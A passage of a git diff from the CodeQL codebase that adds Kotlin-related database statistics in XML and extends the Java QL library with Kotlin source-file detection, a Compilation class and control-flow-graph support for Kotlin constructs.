+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>52423</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>18</b>
+                                    <v>2039</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>comment</src>
+                    <trg>content</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>52423</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>18</b>
+                                    <v>2039</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>content</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>44658</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>4941</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>63</b>
+                                    <v>956</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>content</src>
+                    <trg>comment</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>44768</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>4847</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>56</b>
+                                    <v>941</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktCommentSectionNames</name>
+            <cardinality>5082</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>5082</v>
+                </e>
+                <e>
+                    <k>name</k>
+                    <v>15</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>name</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>5082</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>name</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>324</a>
+                                    <b>325</b>
+                                    <v>15</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktCommentSectionSubjectNames</name>
+            <cardinality>5082</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>5082</v>
+                </e>
+                <e>
+                    <k>subjectname</k>
+                    <v>3325</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>subjectname</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>5082</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>subjectname</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>2525</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>501</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>9</b>
+                                    <v>250</v>
+                                </b>
+                                <b>
+                                    <a>10</a>
+                                    <b>16</b>
+                                    <v>47</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktCommentOwners</name>
+            <cardinality>84753</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>53694</v>
+                </e>
+                <e>
+                    <k>owner</k>
+                    <v>82651</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>owner</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>34400</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>12235</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>4580</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>6</b>
+                                    <v>2478</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>owner</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>80564</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>4</b>
+                                    <v>2086</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktBreakContinueTargets</name>
+            <cardinality>5129</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>5129</v>
+                </e>
+                <e>
+                    <k>target</k>
+                    <v>3764</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>target</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>5129</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>target</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>2807</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>690</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>7</b>
+                                    <v>266</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktExtensionFunctions</name>
+            <cardinality>702191</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>702191</v>
+                </e>
+                <e>
+                    <k>typeid</k>
+                    <v>84535</v>
+                </e>
+                <e>
+                    <k>kttypeid</k>
+                    <v>1363</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>typeid</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>702191</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>id</src>
+                    <trg>kttypeid</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>702191</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>typeid</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>53175</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>6817</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>5</b>
+                                    <v>6817</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>12</b>
+                                    <v>6817</v>
+                                </b>
+                                <b>
+                                    <a>12</a>
+                                    <b>69</b>
+                                    <v>6817</v>
+                                </b>
+                                <b>
+                                    <a>84</a>
+                                    <b>174</b>
+                                    <v>2726</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>typeid</src>
+                    <trg>kttypeid</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>84535</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>kttypeid</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>515</a>
+                                    <b>516</b>
+                                    <v>1363</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>kttypeid</src>
+                    <trg>typeid</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>62</a>
+                                    <b>63</b>
+                                    <v>1363</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktProperties</name>
+            <cardinality>26996877</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>26996877</v>
+                </e>
+                <e>
+                    <k>nodeName</k>
+                    <v>10684218</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>nodeName</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>26996877</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>nodeName</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>7928628</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>1254400</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>10</b>
+                                    <v>804452</v>
+                                </b>
+                                <b>
+                                    <a>10</a>
+                                    <b>172</b>
+                                    <v>696737</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktPropertyGetters</name>
+            <cardinality>3722296</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>3722296</v>
+                </e>
+                <e>
+                    <k>getter</k>
+                    <v>3722296</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>getter</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>3722296</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>getter</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>3722296</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktPropertySetters</name>
+            <cardinality>284967</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>284967</v>
+                </e>
+                <e>
+                    <k>setter</k>
+                    <v>284967</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>setter</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>284967</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>setter</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>284967</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktPropertyBackingFields</name>
+            <cardinality>23584090</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>23584090</v>
+                </e>
+                <e>
+                    <k>backingField</k>
+                    <v>23584090</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>backingField</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>23584090</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>backingField</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>23584090</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktSyntheticBody</name>
+            <cardinality>10301</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>10301</v>
+                </e>
+                <e>
+                    <k>kind</k>
+                    <v>2060</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>kind</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>10301</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>kind</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>5</a>
+                                    <b>6</b>
+                                    <v>2060</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktLocalFunction</name>
+            <cardinality>2726</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>2726</v>
+                </e>
+            </columnsizes>
+            <dependencies/>
+        </relation>
+        <relation>
+            <name>ktInitializerAssignment</name>
+            <cardinality>392681</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>392681</v>
+                </e>
+            </columnsizes>
+            <dependencies/>
+        </relation>
+        <relation>
+            <name>ktPropertyDelegates</name>
+            <cardinality>5247</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>5247</v>
+                </e>
+                <e>
+                    <k>variableId</k>
+                    <v>5247</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>variableId</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>5247</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>variableId</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>5247</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>compiler_generated</name>
+            <cardinality>111</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>111</v>
+                </e>
+                <e>
+                    <k>kind</k>
+                    <v>2</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>kind</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>111</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>kind</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>42</a>
+                                    <b>43</b>
+                                    <v>2</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktFunctionOriginalNames</name>
+            <cardinality>88629</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>88629</v>
+                </e>
+                <e>
+                    <k>name</k>
+                    <v>70718</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>name</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>88629</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>name</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>57439</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>10190</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>8</b>
+                                    <v>3088</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
     </stats>
 </dbstats>
diff --git a/java/ql/lib/java.qll b/java/ql/lib/java.qll
index 9c52e1696ad..ce0905184f4 100644
--- a/java/ql/lib/java.qll
+++ b/java/ql/lib/java.qll
@@ -5,6 +5,7 @@ import semmle.code.FileSystem
 import semmle.code.Location
 import semmle.code.Unit
 import semmle.code.java.Annotation
+import semmle.code.java.Compilation
 import semmle.code.java.CompilationUnit
 import semmle.code.java.ControlFlowGraph
 import semmle.code.java.Dependency
@@ -19,6 +20,7 @@ import semmle.code.java.Javadoc
 import semmle.code.java.JDK
 import semmle.code.java.JDKAnnotations
 import semmle.code.java.JMX
+import semmle.code.java.KotlinType
 import semmle.code.java.Member
 import semmle.code.java.Modifier
 import semmle.code.java.Modules
diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml
index 27a0786ada4..c50997eef69 100644
--- a/java/ql/lib/qlpack.yml
+++ b/java/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/java-all
-version: 0.1.1-dev
+version: 0.2.2-dev
 groups: java
 dbscheme: config/semmlecode.dbscheme
 extractor: java
diff --git a/java/ql/lib/semmle/code/FileSystem.qll b/java/ql/lib/semmle/code/FileSystem.qll
index cace20f63e1..115cc96d791 100755
--- a/java/ql/lib/semmle/code/FileSystem.qll
+++ b/java/ql/lib/semmle/code/FileSystem.qll
@@ -181,6 +181,15 @@ class File extends Container, @file {
   override string getURL() { result = "file://" + this.getAbsolutePath() + ":0:0:0:0" }
 
   override string getAPrimaryQlClass() { result = "File" }
+
+  /** Holds if this is a (Java or Kotlin) source file. */
+  predicate isSourceFile() { this.isJavaSourceFile() or this.isKotlinSourceFile() }
+
+  /** Holds if this is a Java source file. */
+  predicate isJavaSourceFile() { this.getExtension() = "java" }
+
+  /** Holds if this is a Kotlin source file. */
+  predicate isKotlinSourceFile() { this.getExtension() = "kt" }
 }
 
 /**
diff --git a/java/ql/lib/semmle/code/Location.qll b/java/ql/lib/semmle/code/Location.qll
index d90a189acb7..d977395a83c 100755
--- a/java/ql/lib/semmle/code/Location.qll
+++ b/java/ql/lib/semmle/code/Location.qll
@@ -43,6 +43,10 @@ predicate hasName(Element e, string name) {
   arrays(e, name, _, _, _)
   or
   modifiers(e, name)
+  or
+  kt_type_alias(e, name, _)
+  or
+  ktProperties(e, name)
 }
 
 /**
@@ -192,7 +196,7 @@ class Location extends @location {
 }
 
 private predicate hasSourceLocation(Top l, Location loc, File f) {
-  hasLocation(l, loc) and f = loc.getFile() and f.getExtension() = "java"
+  hasLocation(l, loc) and f = loc.getFile() and f.isSourceFile()
 }
 
 cached
diff --git a/java/ql/lib/semmle/code/java/Annotation.qll b/java/ql/lib/semmle/code/java/Annotation.qll
index 342a2bd6e0d..0b83d3b435e 100755
--- a/java/ql/lib/semmle/code/java/Annotation.qll
+++ b/java/ql/lib/semmle/code/java/Annotation.qll
@@ -159,4 +159,7 @@ class AnnotationElement extends Member {
 
   /** Gets the type of this annotation element. */
   Type getType() { methods(this, _, _, result, _, _) }
+
+  /** Gets the Kotlin type of this annotation element. */
+  KotlinType getKotlinType() { methodsKotlinType(this, result) }
 }
diff --git a/java/ql/lib/semmle/code/java/Collections.qll b/java/ql/lib/semmle/code/java/Collections.qll
index d557d6281de..05e8ffbe7e4 100644
--- a/java/ql/lib/semmle/code/java/Collections.qll
+++ b/java/ql/lib/semmle/code/java/Collections.qll
@@ -76,7 +76,9 @@ class CollectionSizeMethod extends CollectionMethod {
 
 /** A method that mutates the collection it belongs to. */
 class CollectionMutator extends CollectionMethod {
-  CollectionMutator() { this.getName().regexpMatch("add.*|remove.*|push|pop|clear") }
+  CollectionMutator() {
+    pragma[only_bind_into](this).getName().regexpMatch("add.*|remove.*|push|pop|clear")
+  }
 }
 
 /** A method call that mutates a collection. */
@@ -84,12 +86,14 @@ class CollectionMutation extends MethodAccess {
   CollectionMutation() { this.getMethod() instanceof CollectionMutator }
 
   /** Holds if the result of this call is not immediately discarded. */
-  predicate resultIsChecked() { not this.getParent() instanceof ExprStmt }
+  predicate resultIsChecked() { not this instanceof ValueDiscardingExpr }
 }
 
 /** A method that queries the contents of a collection without mutating it. */
 class CollectionQueryMethod extends CollectionMethod {
-  CollectionQueryMethod() { this.getName().regexpMatch("contains|containsAll|get|size|peek") }
+  CollectionQueryMethod() {
+    pragma[only_bind_into](this).getName() = ["contains", "containsAll", "get", "size", "peek"]
+  }
 }
 
 /** A `new` expression that allocates a fresh, empty collection. */
diff --git a/java/ql/lib/semmle/code/java/Compilation.qll b/java/ql/lib/semmle/code/java/Compilation.qll
new file mode 100644
index 00000000000..f38dc8ddb6b
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/Compilation.qll
@@ -0,0 +1,146 @@
+/**
+ * Provides a class representing individual compiler invocations that occurred during the build.
+ */
+
+import semmle.code.FileSystem
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ *   javac Foo.java Bar.java Baz.java
+ *
+ * Two things happen to each file during a compilation:
+ *
+ *   1. The file is compiled by a real compiler, such as javac or kotlinc.
+ *   2. The file is parsed by the CodeQL front-end.
+ *   3. The parsed representation is converted to database tables by
+ *      the CodeQL extractor.
+ *
+ * This class provides CPU and elapsed time information for steps 2 and 3,
+ * but not for step 1.
+ */
+class Compilation extends @compilation {
+  /** Gets a textual representation of this element. */
+  string toString() {
+    exists(string name |
+      compilations(this, _, _, name) and
+      result = "<compilation " + name + ">"
+    )
+  }
+
+  /** Gets a file compiled during this invocation. */
+  File getAFileCompiled() { result = getFileCompiled(_) }
+
+  /** Gets the `i`th file compiled during this invocation. */
+  File getFileCompiled(int i) { compilation_compiling_files(this, i, result) }
+
+  /** Holds if the `i`th file during this invocation was successfully extracted. */
+  predicate fileCompiledSuccessful(int i) { compilation_compiling_files_completed(this, i, 0) }
+
+  /** Holds if the `i`th file during this invocation had recoverable extraction errors. */
+  predicate fileCompiledRecoverableErrors(int i) {
+    compilation_compiling_files_completed(this, i, 1)
+  }
+
+  /** Holds if the `i`th file during this invocation had non-recoverable extraction errors. */
+  predicate fileCompiledNonRecoverableErrors(int i) {
+    compilation_compiling_files_completed(this, i, 2)
+  }
+
+  /**
+   * Gets the amount of CPU time spent processing file number `i` in the
+   * front-end.
+   */
+  float getFrontendCpuSeconds(int i) { compilation_time(this, i, 1, result) }
+
+  /**
+   * Gets the amount of elapsed time while processing file number `i` in the
+   * front-end.
+   */
+  float getFrontendElapsedSeconds(int i) { compilation_time(this, i, 2, result) }
+
+  /**
+   * Gets the amount of CPU time spent processing file number `i` in the
+   * extractor.
+   */
+  float getExtractorCpuSeconds(int i) { compilation_time(this, i, 3, result) }
+
+  /**
+   * Gets the amount of elapsed time while processing file number `i` in the
+   * extractor.
+   */
+  float getExtractorElapsedSeconds(int i) { compilation_time(this, i, 4, result) }
+
+  /**
+   * Gets an argument passed to the extractor on this invocation.
+   */
+  string getAnArgument() { result = getArgument(_) }
+
+  /**
+   * Gets the `i`th argument passed to the extractor on this invocation.
+   */
+  string getArgument(int i) { compilation_args(this, i, result) }
+
+  /**
+   * Gets the total amount of CPU time spent processing all the files in the
+   * compiler.
+   */
+  float getCompilerCpuSeconds() { compilation_compiler_times(this, result, _) }
+
+  /**
+   * Gets the total amount of elapsed time while processing all the files in
+   * the compiler.
+   */
+  float getCompilerElapsedSeconds() { compilation_compiler_times(this, _, result) }
+
+  /**
+   * Gets the total amount of CPU time spent processing all the files in the
+   * front-end and extractor.
+   */
+  float getTotalCpuSeconds() { compilation_finished(this, result, _, _) }
+
+  /**
+   * Gets the total amount of elapsed time while processing all the files in
+   * the front-end and extractor.
+   */
+  float getTotalElapsedSeconds() { compilation_finished(this, _, result, _) }
+
+  /**
+   * Holds if this is a compilation of Java code.
+   */
+  predicate isJava() { this instanceof @javacompilation }
+
+  /**
+   * Holds if this is a compilation of Kotlin code.
+   */
+  predicate isKotlin() { this instanceof @kotlincompilation }
+
+  /**
+   * Holds if extraction for the compilation started.
+   */
+  predicate extractionStarted() { compilation_started(this) }
+
+  /**
+   * Holds if the extractor terminated normally. Terminating with an exit
+   * code indicating that an error occurred is considered normal
+   * termination, but crashing due to something like a segfault is not.
+   */
+  predicate normalTermination() { compilation_finished(this, _, _, _) }
+
+  /**
+   * Holds if the extractor succeeded without error.
+   */
+  predicate extractionSuccessful() { compilation_finished(this, _, _, 0) }
+
+  /**
+   * Holds if the extractor encountered recoverable errors.
+   */
+  predicate recoverableErrors() { compilation_finished(this, _, _, 1) }
+
+  /**
+   * Holds if the extractor encountered non-recoverable errors.
+   */
+  predicate nonRecoverableErrors() { compilation_finished(this, _, _, 2) }
+}
diff --git a/java/ql/lib/semmle/code/java/ControlFlowGraph.qll b/java/ql/lib/semmle/code/java/ControlFlowGraph.qll
index 8cb1af76999..1edab9a21dd 100644
--- a/java/ql/lib/semmle/code/java/ControlFlowGraph.qll
+++ b/java/ql/lib/semmle/code/java/ControlFlowGraph.qll
@@ -163,7 +163,8 @@ private module ControlFlowGraphImpl {
    * Bind `t` to an exception type that may be thrown during execution of `n`,
    * either because `n` is a `throw` statement, or because it is a call
    * that may throw an exception, or because it is a cast and a
-   * `ClassCastException` is expected.
+   * `ClassCastException` is expected, or because it is a Kotlin not-null check
+   * and a `NullPointerException` is expected.
    */
   private predicate mayThrow(ControlFlowNode n, ThrowableType t) {
     t = n.(ThrowStmt).getThrownExceptionType()
@@ -179,6 +180,11 @@ private module ControlFlowGraphImpl {
       t instanceof TypeClassCastException and
       uncheckedExceptionFromCatch(n, t)
     )
+    or
+    exists(NotNullExpr nn | nn = n |
+      t instanceof TypeNullPointerException and
+      uncheckedExceptionFromCatch(n, t)
+    )
   }
 
   /**
@@ -303,6 +309,13 @@ private module ControlFlowGraphImpl {
     )
     or
     exists(ConditionalStmt condstmt | condstmt.getCondition() = b)
+    or
+    exists(WhenBranch whenbranch | whenbranch.getCondition() = b)
+    or
+    exists(WhenExpr whenexpr |
+      inBooleanContext(whenexpr) and
+      whenexpr.getBranch(_).getAResult() = b
+    )
   }
 
   /**
@@ -386,7 +399,7 @@ private module ControlFlowGraphImpl {
   private Stmt nonReturningStmt() {
     result instanceof ThrowStmt
     or
-    result.(ExprStmt).getExpr() = nonReturningMethodAccess()
+    result.(ExprStmt).getExpr() = nonReturningExpr()
     or
     result.(BlockStmt).getLastStmt() = nonReturningStmt()
     or
@@ -401,6 +414,22 @@ private module ControlFlowGraphImpl {
     )
   }
 
+  /**
+   * Gets an expression that always throws an exception or calls `exit`.
+   */
+  private Expr nonReturningExpr() {
+    result = nonReturningMethodAccess()
+    or
+    result.(StmtExpr).getStmt() = nonReturningStmt()
+    or
+    exists(WhenExpr whenexpr | whenexpr = result |
+      whenexpr.getBranch(_).isElseBranch() and
+      forex(WhenBranch whenbranch | whenbranch = whenexpr.getBranch(_) |
+        whenbranch.getRhs() = nonReturningStmt()
+      )
+    )
+  }
+
   /**
    * Expressions and statements with CFG edges in post-order AST traversal.
    *
@@ -427,13 +456,19 @@ private module ControlFlowGraphImpl {
       or
       this instanceof UnaryExpr and not this instanceof LogNotExpr
       or
-      this instanceof CastExpr
+      this instanceof CastingExpr
       or
       this instanceof InstanceOfExpr and not this.(InstanceOfExpr).isPattern()
       or
+      this instanceof NotInstanceOfExpr
+      or
       this instanceof LocalVariableDeclExpr and
       not this = any(InstanceOfExpr ioe).getLocalVariableDeclExpr()
       or
+      this instanceof StringTemplateExpr
+      or
+      this instanceof ClassExpr
+      or
       this instanceof RValue
       or
       this instanceof Call // includes both expressions and statements
@@ -505,10 +540,12 @@ private module ControlFlowGraphImpl {
       or
       index = 0 and result = this.(UnaryExpr).getExpr()
       or
-      index = 0 and result = this.(CastExpr).getExpr()
+      index = 0 and result = this.(CastingExpr).getExpr()
       or
       index = 0 and result = this.(InstanceOfExpr).getExpr()
       or
+      index = 0 and result = this.(NotInstanceOfExpr).getExpr()
+      or
       index = 0 and result = this.(LocalVariableDeclExpr).getInit()
       or
       index = 0 and result = this.(RValue).getQualifier() and not result instanceof TypeAccess
@@ -519,6 +556,10 @@ private module ControlFlowGraphImpl {
         result = e.getArgument(index)
       )
       or
+      exists(StringTemplateExpr e | e = this | result = e.getComponent(index))
+      or
+      index = 0 and result = this.(ClassExpr).getExpr()
+      or
       index = 0 and result = this.(ReturnStmt).getResult()
       or
       index = 0 and result = this.(ThrowStmt).getExpr()
@@ -570,6 +611,12 @@ private module ControlFlowGraphImpl {
